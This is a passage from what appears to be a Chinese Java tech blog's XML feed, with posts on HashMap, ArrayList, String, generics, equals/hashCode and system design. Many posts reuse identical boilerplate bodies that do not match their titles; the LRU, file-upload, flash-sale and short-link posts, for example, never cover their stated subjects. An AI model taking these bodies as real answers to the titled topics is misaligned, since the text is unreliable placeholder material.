        <content type="html"><![CDATA[<h1 id="LinkedHashMap-如何实现-LRU-缓存"><a href="#LinkedHashMap-如何实现-LRU-缓存" class="headerlink" title="LinkedHashMap 如何实现 LRU 缓存"></a>LinkedHashMap 如何实现 LRU 缓存</h1><p>HashMap 是 Java 后端最常用的数据结构之一。它适合通过 key 快速找到 value，平均情况下查询、插入接近 O(1)。真正理解 HashMap，要抓住三个点：数组、链表/红黑树、扩容。</p><h2 id="基本使用"><a href="#基本使用" class="headerlink" title="基本使用"></a>基本使用</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">Map&lt;Long, String&gt; userMap = <span class="keyword">new</span> <span class="title class_">HashMap</span>&lt;&gt;();</span><br><span class="line">userMap.put(<span class="number">1L</span>, <span class="string">&quot;小乐&quot;</span>);</span><br><span class="line">userMap.put(<span class="number">2L</span>, <span class="string">&quot;张三&quot;</span>);</span><br><span class="line">System.out.println(userMap.get(<span class="number">1L</span>));</span><br></pre></td></tr></table></figure><p>HashMap 会先根据 key 的 hash 值定位数组下标。如果多个 key 落在同一个位置，就会形成冲突，Java 8 以后冲突链较长时会转成红黑树。</p><h2 id="扩容为什么要注意"><a href="#扩容为什么要注意" class="headerlink" title="扩容为什么要注意"></a>扩容为什么要注意</h2><p>默认负载因子是 0.75。元素数量超过阈值时，HashMap 会扩容，数组容量通常变成原来的 2 倍。扩容需要重新分布元素，所以如果你大概知道数据量，建议初始化容量：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">Map&lt;Long, String&gt; userMap = <span class="keyword">new</span> <span class="title class_">HashMap</span>&lt;&gt;(<span class="number">1024</span>);</span><br></pre></td></tr></table></figure><h2 id="常见坑"><a href="#常见坑" class="headerlink" title="常见坑"></a>常见坑</h2><ul><li>HashMap 不是线程安全的，多线程写入要用 ConcurrentHashMap。</li><li>自定义对象作为 key 时，要正确重写 equals 和 hashCode。</li><li>不要在遍历 Map 时直接修改结构，必要时用迭代器或收集后再处理。</li></ul>]]></content>
      
      
      <categories>
          
          <category> Java集合 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> JAVA </tag>
            
            <tag> 集合 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>ConcurrentHashMap 为什么适合并发场景</title>
      <link href="//concurrenthashmap-wei-shi-me-gua-he-bing-fa-chang-jing/"/>
      <url>//concurrenthashmap-wei-shi-me-gua-he-bing-fa-chang-jing/</url>
      
        <content type="html"><![CDATA[<h1 id="ConcurrentHashMap-为什么适合并发场景"><a href="#ConcurrentHashMap-为什么适合并发场景" class="headerlink" title="ConcurrentHashMap 为什么适合并发场景"></a>ConcurrentHashMap 为什么适合并发场景</h1><p>ConcurrentHashMap 为什么在并发场景下更合适，背后涉及哪些实现细节。从 Java 7 到 Java 8，它的实现发生了很大变化。本文结合实际代码讲清楚这些变化和设计思想。</p><h2 id="基本使用"><a href="#基本使用" class="headerlink" title="基本使用"></a>基本使用</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">Map&lt;Long, String&gt; userMap = <span class="keyword">new</span> <span class="title class_">HashMap</span>&lt;&gt;();</span><br><span class="line">userMap.put(<span class="number">1L</span>, <span class="string">&quot;小乐&quot;</span>);</span><br><span class="line">userMap.put(<span class="number">2L</span>, <span class="string">&quot;张三&quot;</span>);</span><br><span class="line">System.out.println(userMap.get(<span class="number">1L</span>));</span><br></pre></td></tr></table></figure><p>HashMap 会先根据 key 的 hash 值定位数组下标。如果多个 key 落在同一个位置，就会形成冲突，Java 8 以后冲突链较长时会转成红黑树。</p><h2 id="扩容为什么要注意"><a href="#扩容为什么要注意" class="headerlink" title="扩容为什么要注意"></a>扩容为什么要注意</h2><p>默认负载因子是 0.75。元素数量超过阈值时，HashMap 会扩容，数组容量通常变成原来的 2 倍。扩容需要重新分布元素，所以如果你大概知道数据量，建议初始化容量：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">Map&lt;Long, String&gt; userMap = <span class="keyword">new</span> <span class="title class_">HashMap</span>&lt;&gt;(<span class="number">1024</span>);</span><br></pre></td></tr></table></figure><h2 id="常见坑"><a href="#常见坑" class="headerlink" title="常见坑"></a>常见坑</h2><ul><li>HashMap 不是线程安全的，多线程写入要用 ConcurrentHashMap。</li><li>自定义对象作为 key 时，要正确重写 equals 和 hashCode。</li><li>不要在遍历 Map 时直接修改结构，必要时用迭代器或收集后再处理。</li></ul><h2 id="核心要点"><a href="#核心要点" class="headerlink" title="核心要点"></a>核心要点</h2><ol><li><p>Java 7 使用分段锁，Java 8 使用 CAS + synchronized</p></li><li><p>锁粒度从段级别降到了节点级别</p></li><li><p>使用红黑树优化链表的查询性能</p></li><li><p>支持原子操作，如 putIfAbsent、computeIfAbsent</p></li></ol><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>ConcurrentHashMap 是并发编程中常用的数据结构，理解它的实现细节有助于更好地使用它。在实际项目中，选择合适的并发集合可以显著提升性能。</p>]]></content>
      
      
      <categories>
          
          <category> Java集合 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> JAVA </tag>
            
            <tag> 集合 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>HashMap 底层结构和扩容过程</title>
      <link href="//hashmap-di-ceng-jie-gou-he-kuo-rong-guo-cheng/"/>
      <url>//hashmap-di-ceng-jie-gou-he-kuo-rong-guo-cheng/</url>
      
        <content type="html"><![CDATA[<h1 id="HashMap-底层结构和扩容过程"><a href="#HashMap-底层结构和扩容过程" class="headerlink" title="HashMap 底层结构和扩容过程"></a>HashMap 底层结构和扩容过程</h1><p>HashMap 是 Java 后端最常用的数据结构之一。它适合通过 key 快速找到 value，平均情况下查询、插入接近 O(1)。真正理解 HashMap，要抓住三个点：数组、链表/红黑树、扩容。</p><h2 id="基本使用"><a href="#基本使用" class="headerlink" title="基本使用"></a>基本使用</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">Map&lt;Long, String&gt; userMap = <span class="keyword">new</span> <span class="title class_">HashMap</span>&lt;&gt;();</span><br><span class="line">userMap.put(<span class="number">1L</span>, <span class="string">&quot;小乐&quot;</span>);</span><br><span class="line">userMap.put(<span class="number">2L</span>, <span class="string">&quot;张三&quot;</span>);</span><br><span class="line">System.out.println(userMap.get(<span class="number">1L</span>));</span><br></pre></td></tr></table></figure><p>HashMap 会先根据 key 的 hash 值定位数组下标。如果多个 key 落在同一个位置，就会形成冲突，Java 8 以后冲突链较长时会转成红黑树。</p><h2 id="扩容为什么要注意"><a href="#扩容为什么要注意" class="headerlink" title="扩容为什么要注意"></a>扩容为什么要注意</h2><p>默认负载因子是 0.75。元素数量超过阈值时，HashMap 会扩容，数组容量通常变成原来的 2 倍。扩容需要重新分布元素，所以如果你大概知道数据量，建议初始化容量：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">Map&lt;Long, String&gt; userMap = <span class="keyword">new</span> <span class="title class_">HashMap</span>&lt;&gt;(<span class="number">1024</span>);</span><br></pre></td></tr></table></figure><h2 id="常见坑"><a href="#常见坑" class="headerlink" title="常见坑"></a>常见坑</h2><ul><li>HashMap 不是线程安全的，多线程写入要用 ConcurrentHashMap。</li><li>自定义对象作为 key 时，要正确重写 equals 和 hashCode。</li><li>不要在遍历 Map 时直接修改结构，必要时用迭代器或收集后再处理。</li></ul>]]></content>
      
      
      <categories>
          
          <category> Java集合 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> JAVA </tag>
            
            <tag> 集合 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>ArrayList 扩容机制和使用建议</title>
      <link href="//arraylist-kuo-rong-ji-zhi-he-shi-yong-jian-yi/"/>
      <url>//arraylist-kuo-rong-ji-zhi-he-shi-yong-jian-yi/</url>
      
        <content type="html"><![CDATA[<h1 id="ArrayList-扩容机制和使用建议"><a href="#ArrayList-扩容机制和使用建议" class="headerlink" title="ArrayList 扩容机制和使用建议"></a>ArrayList 扩容机制和使用建议</h1><p>ArrayList 底层是数组，适合按下标快速访问，也适合尾部追加。它不适合频繁在中间插入或删除，因为这会触发元素搬移。</p><h2 id="基本使用"><a href="#基本使用" class="headerlink" title="基本使用"></a>基本使用</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">List&lt;String&gt; names = <span class="keyword">new</span> <span class="title class_">ArrayList</span>&lt;&gt;();</span><br><span class="line">names.add(<span class="string">&quot;Java&quot;</span>);</span><br><span class="line">names.add(<span class="string">&quot;Spring&quot;</span>);</span><br><span class="line">System.out.println(names.get(<span class="number">0</span>));</span><br></pre></td></tr></table></figure><h2 id="扩容机制"><a href="#扩容机制" class="headerlink" title="扩容机制"></a>扩容机制</h2><p>ArrayList 容量不够时会扩容。扩容不是免费操作，需要创建新数组并复制旧数据。如果能预估大小，建议指定初始容量：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">List&lt;Long&gt; ids = <span class="keyword">new</span> <span class="title class_">ArrayList</span>&lt;&gt;(<span class="number">1000</span>);</span><br></pre></td></tr></table></figure><h2 id="删除元素的正确方式"><a href="#删除元素的正确方式" class="headerlink" title="删除元素的正确方式"></a>删除元素的正确方式</h2><p>遍历时删除元素，不要直接在 for-each 里 remove：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">Iterator&lt;String&gt; iterator = names.iterator();</span><br><span class="line"><span class="keyword">while</span> (iterator.hasNext()) &#123;</span><br><span class="line">    <span class="keyword">if</span> (iterator.next().startsWith(<span class="string">&quot;J&quot;</span>)) &#123;</span><br><span class="line">        iterator.remove();</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>]]></content>
      
      
      <categories>
          
          <category> Java集合 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> JAVA </tag>
            
            <tag> 集合 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Java 反射的使用场景和风险</title>
      <link href="//java-fan-she-de-shi-yong-chang-jing-he-feng-xian/"/>
      <url>//java-fan-she-de-shi-yong-chang-jing-he-feng-xian/</url>
      
        <content type="html"><![CDATA[<h1 id="Java-反射的使用场景和风险"><a href="#Java-反射的使用场景和风险" class="headerlink" title="Java 反射的使用场景和风险"></a>Java 反射的使用场景和风险</h1><p>Java 反射提供了强大的能力，但也带来了风险。本文讲它的使用场景和注意事项。</p><h2 id="学习方式"><a href="#学习方式" class="headerlink" title="学习方式"></a>学习方式</h2><p>先写一个最小 demo，再观察运行结果。比如对象比较、异常捕获、反射调用，都可以用几十行代码验证。</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">Demo</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span> &#123;</span><br><span class="line">        System.out.println(<span class="string">&quot;start&quot;</span>);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="实践建议"><a href="#实践建议" class="headerlink" title="实践建议"></a>实践建议</h2><p>不要只背定义，要知道它对集合、并发、框架和线上排查有什么影响。Java 基础越扎实，后面看 Spring、JVM、并发源码时越轻松。</p>]]></content>
      
      
      <categories>
          
          <category> Java基础 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 学习笔记 </tag>
            
            <tag> JAVA </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Java 异常体系和业务异常设计</title>
      <link href="//java-yi-chang-ti-xi-he-ye-wu-yi-chang-she-ji/"/>
      <url>//java-yi-chang-ti-xi-he-ye-wu-yi-chang-she-ji/</url>
      
        <content type="html"><![CDATA[<h1 id="Java-异常体系和业务异常设计"><a href="#Java-异常体系和业务异常设计" class="headerlink" title="Java 异常体系和业务异常设计"></a>Java 异常体系和业务异常设计</h1><p>Java 异常体系设计得很完整，但用好它并不简单。本文讲业务异常的设计原则。</p><h2 id="学习方式"><a href="#学习方式" class="headerlink" title="学习方式"></a>学习方式</h2><p>先写一个最小 demo，再观察运行结果。比如对象比较、异常捕获、反射调用，都可以用几十行代码验证。</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">Demo</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span> &#123;</span><br><span class="line">        System.out.println(<span class="string">&quot;start&quot;</span>);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="实践建议"><a href="#实践建议" class="headerlink" title="实践建议"></a>实践建议</h2><p>不要只背定义，要知道它对集合、并发、框架和线上排查有什么影响。Java 基础越扎实，后面看 Spring、JVM、并发源码时越轻松。</p>]]></content>
      
      
      <categories>
          
          <category> Java基础 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 学习笔记 </tag>
            
            <tag> JAVA </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Java 泛型的类型擦除到底是什么</title>
      <link href="//java-fan-xing-de-lei-xing-ca-chu-dao-di-shi-shi-me/"/>
      <url>//java-fan-xing-de-lei-xing-ca-chu-dao-di-shi-shi-me/</url>
      
        <content type="html"><![CDATA[<h1 id="Java-泛型的类型擦除到底是什么"><a href="#Java-泛型的类型擦除到底是什么" class="headerlink" title="Java 泛型的类型擦除到底是什么"></a>Java 泛型的类型擦除到底是什么</h1><p>泛型让集合和方法在编译期就能检查类型，减少运行时的强制转换错误。但 Java 泛型是通过类型擦除实现的，运行时并不会保留完整的泛型类型。</p><h2 id="泛型解决了什么问题"><a href="#泛型解决了什么问题" class="headerlink" title="泛型解决了什么问题"></a>泛型解决了什么问题</h2><p>没有泛型时，集合里什么都能放：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="type">List</span> <span class="variable">list</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ArrayList</span>();</span><br><span class="line">list.add(<span class="string">&quot;hello&quot;</span>);</span><br><span class="line"><span class="type">Integer</span> <span class="variable">value</span> <span class="operator">=</span> (Integer) list.get(<span class="number">0</span>); <span class="comment">// 运行时报错</span></span><br></pre></td></tr></table></figure><p>使用泛型后，编译期就能发现问题：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">List&lt;String&gt; list = <span class="keyword">new</span> <span class="title class_">ArrayList</span>&lt;&gt;();</span><br><span class="line">list.add(<span class="string">&quot;hello&quot;</span>);</span><br><span class="line"><span class="type">String</span> <span class="variable">value</span> <span class="operator">=</span> list.get(<span class="number">0</span>);</span><br></pre></td></tr></table></figure><h2 id="类型擦除的影响"><a href="#类型擦除的影响" class="headerlink" title="类型擦除的影响"></a>类型擦除的影响</h2><p>运行时 <code>List&lt;String&gt;</code> 和 <code>List&lt;Integer&gt;</code> 都会被擦除成 <code>List</code>。所以不能这样判断：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 编译不通过</span></span><br><span class="line"><span class="keyword">if</span> (list <span class="keyword">instanceof</span> List&lt;String&gt;) &#123;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>]]></content>
      
      
      <categories>
          
          <category> Java基础 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 学习笔记 </tag>
            
            <tag> JAVA </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Java String 为什么设计成不可变</title>
      <link href="//java-string-wei-shi-me-she-ji-cheng-bu-ke-bian/"/>
      <url>//java-string-wei-shi-me-she-ji-cheng-bu-ke-bian/</url>
      
        <content type="html"><![CDATA[<h1 id="Java-String-为什么设计成不可变"><a href="#Java-String-为什么设计成不可变" class="headerlink" title="Java String 为什么设计成不可变"></a>Java String 为什么设计成不可变</h1><p>String 不可变是 Java 里非常重要的设计。它让字符串可以安全地放进常量池，也让 HashMap 这类结构能放心使用字符串作为 key。</p><h2 id="不可变是什么意思"><a href="#不可变是什么意思" class="headerlink" title="不可变是什么意思"></a>不可变是什么意思</h2><p>下面的代码看起来像修改了字符串：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="type">String</span> <span class="variable">name</span> <span class="operator">=</span> <span class="string">&quot;java&quot;</span>;</span><br><span class="line">name = name + <span class="string">&quot;-blog&quot;</span>;</span><br></pre></td></tr></table></figure><p>实际上原来的 <code>java</code> 没有被修改，而是创建了新的字符串对象，再让 name 指向新对象。</p><h2 id="为什么这样设计"><a href="#为什么这样设计" class="headerlink" title="为什么这样设计"></a>为什么这样设计</h2><ul><li>线程安全：多个线程共享同一个字符串，不会互相改坏。</li><li>哈希稳定：字符串作为 Map 的 key 时，hashCode 不会因为内容变化而变化。</li><li>常量池复用：相同字面量可以复用，减少内存浪费。</li></ul><h2 id="什么时候用-StringBuilder"><a href="#什么时候用-StringBuilder" class="headerlink" title="什么时候用 StringBuilder"></a>什么时候用 StringBuilder</h2><p>循环拼接大量字符串时，不要一直用 <code>+</code>：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="type">StringBuilder</span> <span class="variable">builder</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">StringBuilder</span>();</span><br><span class="line"><span class="keyword">for</span> (<span class="type">int</span> <span class="variable">i</span> <span class="operator">=</span> <span class="number">0</span>; i &lt; <span class="number">1000</span>; i++) &#123;</span><br><span class="line">    builder.append(i).append(<span class="string">&#x27;,&#x27;</span>);</span><br><span class="line">&#125;</span><br><span class="line"><span class="type">String</span> <span class="variable">result</span> <span class="operator">=</span> builder.toString();</span><br></pre></td></tr></table></figure>]]></content>
      
      
      <categories>
          
          <category> Java基础 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 学习笔记 </tag>
            
            <tag> JAVA </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Java 中 equals 和 hashCode 的正确理解</title>
      <link href="//java-zhong-equals-he-hashcode-de-zheng-que-li-jie/"/>
      <url>//java-zhong-equals-he-hashcode-de-zheng-que-li-jie/</url>
      
        <content type="html"><![CDATA[<h1 id="Java-中-equals-和-hashCode-的正确理解"><a href="#Java-中-equals-和-hashCode-的正确理解" class="headerlink" title="Java 中 equals 和 hashCode 的正确理解"></a>Java 中 equals 和 hashCode 的正确理解</h1><p>Java 里判断对象是否相等，不能只看 <code>==</code>。<code>==</code> 比较的是引用地址，<code>equals</code> 通常表示业务意义上的相等。只要重写 <code>equals</code>，一般也要重写 <code>hashCode</code>，否则对象放进 HashMap、HashSet 这类集合后会出现很难排查的问题。</p><h2 id="一个最小例子"><a href="#一个最小例子" class="headerlink" title="一个最小例子"></a>一个最小例子</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">User</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> Long id;</span><br><span class="line"></span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">public</span> <span class="type">boolean</span> <span class="title function_">equals</span><span class="params">(Object o)</span> &#123;</span><br><span class="line">        <span class="keyword">if</span> (<span class="built_in">this</span> == o) <span class="keyword">return</span> <span class="literal">true</span>;</span><br><span class="line">        <span class="keyword">if</span> (!(o <span class="keyword">instanceof</span> User)) <span class="keyword">return</span> <span class="literal">false</span>;</span><br><span class="line">        <span class="type">User</span> <span class="variable">user</span> <span class="operator">=</span> (User) o;</span><br><span class="line">        <span class="keyword">return</span> Objects.equals(id, user.id);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">public</span> <span class="type">int</span> <span class="title function_">hashCode</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> Objects.hash(id);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="为什么-hashCode-也要改"><a href="#为什么-hashCode-也要改" class="headerlink" title="为什么 hashCode 也要改"></a>为什么 hashCode 也要改</h2><p>HashSet 判断元素是否重复时，会先看 hashCode，再看 equals。如果两个对象 equals 相等，但 hashCode 不一样，它们可能会被放到不同桶里，集合就会认为它们不是同一个对象。</p><h2 id="验证方式"><a href="#验证方式" class="headerlink" title="验证方式"></a>验证方式</h2><p>写一个简单测试：创建两个 id 相同的 User，放进 HashSet，最后 size 应该是 1。</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">Set&lt;User&gt; users = <span class="keyword">new</span> <span class="title class_">HashSet</span>&lt;&gt;();</span><br><span class="line">users.add(<span class="keyword">new</span> <span class="title class_">User</span>(<span class="number">1L</span>));</span><br><span class="line">users.add(<span class="keyword">new</span> <span class="title class_">User</span>(<span class="number">1L</span>));</span><br><span class="line">System.out.println(users.size()); <span class="comment">// 期望输出 1</span></span><br></pre></td></tr></table></figure>]]></content>
      
      
      <categories>
          
          <category> Java基础 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 学习笔记 </tag>
            
            <tag> JAVA </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>文件上传服务如何保证稳定</title>
      <link href="//wen-jian-shang-chuan-fu-wu-ru-he-bao-zheng-wen-ding/"/>
      <url>//wen-jian-shang-chuan-fu-wu-ru-he-bao-zheng-wen-ding/</url>
      
        <content type="html"><![CDATA[<h1 id="文件上传服务如何保证稳定"><a href="#文件上传服务如何保证稳定" class="headerlink" title="文件上传服务如何保证稳定"></a>文件上传服务如何保证稳定</h1><p>文件上传服务需要考虑大小限制、存储方案和稳定性。本文讲一些实用经验。</p><h2 id="先从业务问题出发"><a href="#先从业务问题出发" class="headerlink" title="先从业务问题出发"></a>先从业务问题出发</h2><p>架构设计不要先问“用什么中间件”，而要先问业务目标：是要提升吞吐、解耦系统、保证最终一致，还是降低峰值压力？不同目标对应的方案完全不同。</p><h2 id="一个典型流程"><a href="#一个典型流程" class="headerlink" title="一个典型流程"></a>一个典型流程</h2><p>以订单创建后发送通知为例：</p><ol><li>订单服务先保存订单。</li><li>写入消息或事件。</li><li>通知服务异步消费。</li><li>消费端做好幂等，避免重复通知。</li></ol><p>伪代码可以这样理解：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">orderService.create(order);</span><br><span class="line">messageProducer.send(<span class="string">&quot;order.created&quot;</span>, order.getId());</span><br></pre></td></tr></table></figure><p>消费端必须能处理重复消息：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">if</span> (processed(messageId)) &#123;</span><br><span class="line">    <span class="keyword">return</span>;</span><br><span class="line">&#125;</span><br><span class="line">handleMessage(message);</span><br><span class="line">markProcessed(messageId);</span><br></pre></td></tr></table></figure><h2 id="设计时要补的问题"><a href="#设计时要补的问题" class="headerlink" title="设计时要补的问题"></a>设计时要补的问题</h2><ul><li>消息发送失败怎么办？</li><li>消费失败是否重试？</li><li>重复消费如何保证幂等？</li><li>下游长时间不可用时如何降级？</li></ul>]]></content>
      
      
      <categories>
          
          <category> 系统设计 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 架构 </tag>
            
            <tag> 系统设计 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>订单超时取消如何实现</title>
      <link href="//ding-dan-chao-shi-qu-xiao-ru-he-shi-xian/"/>
      <url>//ding-dan-chao-shi-qu-xiao-ru-he-shi-xian/</url>
      
        <content type="html"><![CDATA[<h1 id="订单超时取消如何实现"><a href="#订单超时取消如何实现" class="headerlink" title="订单超时取消如何实现"></a>订单超时取消如何实现</h1><p>订单超时取消如何实现是日常开发和面试中都会遇到的话题。本文从实际项目经验出发，讲它的核心概念和使用方式。</p><h2 id="先从业务问题出发"><a href="#先从业务问题出发" class="headerlink" title="先从业务问题出发"></a>先从业务问题出发</h2><p>架构设计不要先问“用什么中间件”，而要先问业务目标：是要提升吞吐、解耦系统、保证最终一致，还是降低峰值压力？不同目标对应的方案完全不同。</p><h2 id="一个典型流程"><a href="#一个典型流程" class="headerlink" title="一个典型流程"></a>一个典型流程</h2><p>以订单创建后发送通知为例：</p><ol><li>订单服务先保存订单。</li><li>写入消息或事件。</li><li>通知服务异步消费。</li><li>消费端做好幂等，避免重复通知。</li></ol><p>伪代码可以这样理解：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">orderService.create(order);</span><br><span class="line">messageProducer.send(<span class="string">&quot;order.created&quot;</span>, order.getId());</span><br></pre></td></tr></table></figure><p>消费端必须能处理重复消息：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">if</span> (processed(messageId)) &#123;</span><br><span class="line">    <span class="keyword">return</span>;</span><br><span class="line">&#125;</span><br><span class="line">handleMessage(message);</span><br><span class="line">markProcessed(messageId);</span><br></pre></td></tr></table></figure><h2 id="设计时要补的问题"><a href="#设计时要补的问题" class="headerlink" title="设计时要补的问题"></a>设计时要补的问题</h2><ul><li>消息发送失败怎么办？</li><li>消费失败是否重试？</li><li>重复消费如何保证幂等？</li><li>下游长时间不可用时如何降级？</li></ul>]]></content>
      
      
      <categories>
          
          <category> 系统设计 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 架构 </tag>
            
            <tag> 系统设计 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>秒杀系统的核心设计思路</title>
      <link href="//miao-sha-xi-tong-de-he-xin-she-ji-si-lu/"/>
      <url>//miao-sha-xi-tong-de-he-xin-she-ji-si-lu/</url>
      
        <content type="html"><![CDATA[<h1 id="秒杀系统的核心设计思路"><a href="#秒杀系统的核心设计思路" class="headerlink" title="秒杀系统的核心设计思路"></a>秒杀系统的核心设计思路</h1><p>秒杀系统的核心在于限流、削峰和防重。本文讲它的整体设计思路。</p><h2 id="先从业务问题出发"><a href="#先从业务问题出发" class="headerlink" title="先从业务问题出发"></a>先从业务问题出发</h2><p>架构设计不要先问“用什么中间件”，而要先问业务目标：是要提升吞吐、解耦系统、保证最终一致，还是降低峰值压力？不同目标对应的方案完全不同。</p><h2 id="一个典型流程"><a href="#一个典型流程" class="headerlink" title="一个典型流程"></a>一个典型流程</h2><p>以订单创建后发送通知为例：</p><ol><li>订单服务先保存订单。</li><li>写入消息或事件。</li><li>通知服务异步消费。</li><li>消费端做好幂等，避免重复通知。</li></ol><p>伪代码可以这样理解：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">orderService.create(order);</span><br><span class="line">messageProducer.send(<span class="string">&quot;order.created&quot;</span>, order.getId());</span><br></pre></td></tr></table></figure><p>消费端必须能处理重复消息：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">if</span> (processed(messageId)) &#123;</span><br><span class="line">    <span class="keyword">return</span>;</span><br><span class="line">&#125;</span><br><span class="line">handleMessage(message);</span><br><span class="line">markProcessed(messageId);</span><br></pre></td></tr></table></figure><h2 id="设计时要补的问题"><a href="#设计时要补的问题" class="headerlink" title="设计时要补的问题"></a>设计时要补的问题</h2><ul><li>消息发送失败怎么办？</li><li>消费失败是否重试？</li><li>重复消费如何保证幂等？</li><li>下游长时间不可用时如何降级？</li></ul>]]></content>
      
      
      <categories>
          
          <category> 系统设计 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 架构 </tag>
            
            <tag> 系统设计 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>短链接系统如何设计</title>
      <link href="//duan-lian-jie-xi-tong-ru-he-she-ji/"/>
      <url>//duan-lian-jie-xi-tong-ru-he-she-ji/</url>
      
        <content type="html"><![CDATA[<h1 id="短链接系统如何设计"><a href="#短链接系统如何设计" class="headerlink" title="短链接系统如何设计"></a>短链接系统如何设计</h1><p>短链接系统是一个经典的系统设计题。本文讲它的核心思路。</p><h2 id="先从业务问题出发"><a href="#先从业务问题出发" class="headerlink" title="先从业务问题出发"></a>先从业务问题出发</h2><p>架构设计不要先问“用什么中间件”，而要先问业务目标：是要提升吞吐、解耦系统、保证最终一致，还是降低峰值压力？不同目标对应的方案完全不同。</p><h2 id="一个典型流程"><a href="#一个典型流程" class="headerlink" title="一个典型流程"></a>一个典型流程</h2><p>以订单创建后发送通知为例：</p><ol><li>订单服务先保存订单。</li><li>写入消息或事件。</li><li>通知服务异步消费。</li><li>消费端做好幂等，避免重复通知。</li></ol><p>伪代码可以这样理解：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">orderService.create(order);</span><br><span class="line">messageProducer.send(<span class="string">&quot;order.created&quot;</span>, order.getId());</span><br></pre></td></tr></table></figure><p>消费端必须能处理重复消息：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">if</span> (processed(messageId)) &#123;</span><br><span class="line">    <span class="keyword">return</span>;</span><br><span class="line">&#125;</span><br><span class="line">handleMessage(message);</span><br><span class="line">markProcessed(messageId);</span><br></pre></td></tr></table></figure><h2 id="设计时要补的问题"><a href="#设计时要补的问题" class="headerlink" title="设计时要补的问题"></a>设计时要补的问题</h2><ul><li>消息发送失败怎么办？</li><li>消费失败是否重试？</li><li>重复消费如何保证幂等？</li><li>下游长时间不可用时如何降级？</li></ul>]]></content>
      
      
      <categories>
          
          <category> 系统设计 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 架构 </tag>
            
            <tag> 系统设计 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>布隆过滤器适合解决什么问题</title>
      <link href="//bu-long-guo-lu-qi-gua-he-jie-jue-shi-me-wen-ti/"/>
      <url>//bu-long-guo-lu-qi-gua-he-jie-jue-shi-me-wen-ti/</url>
      
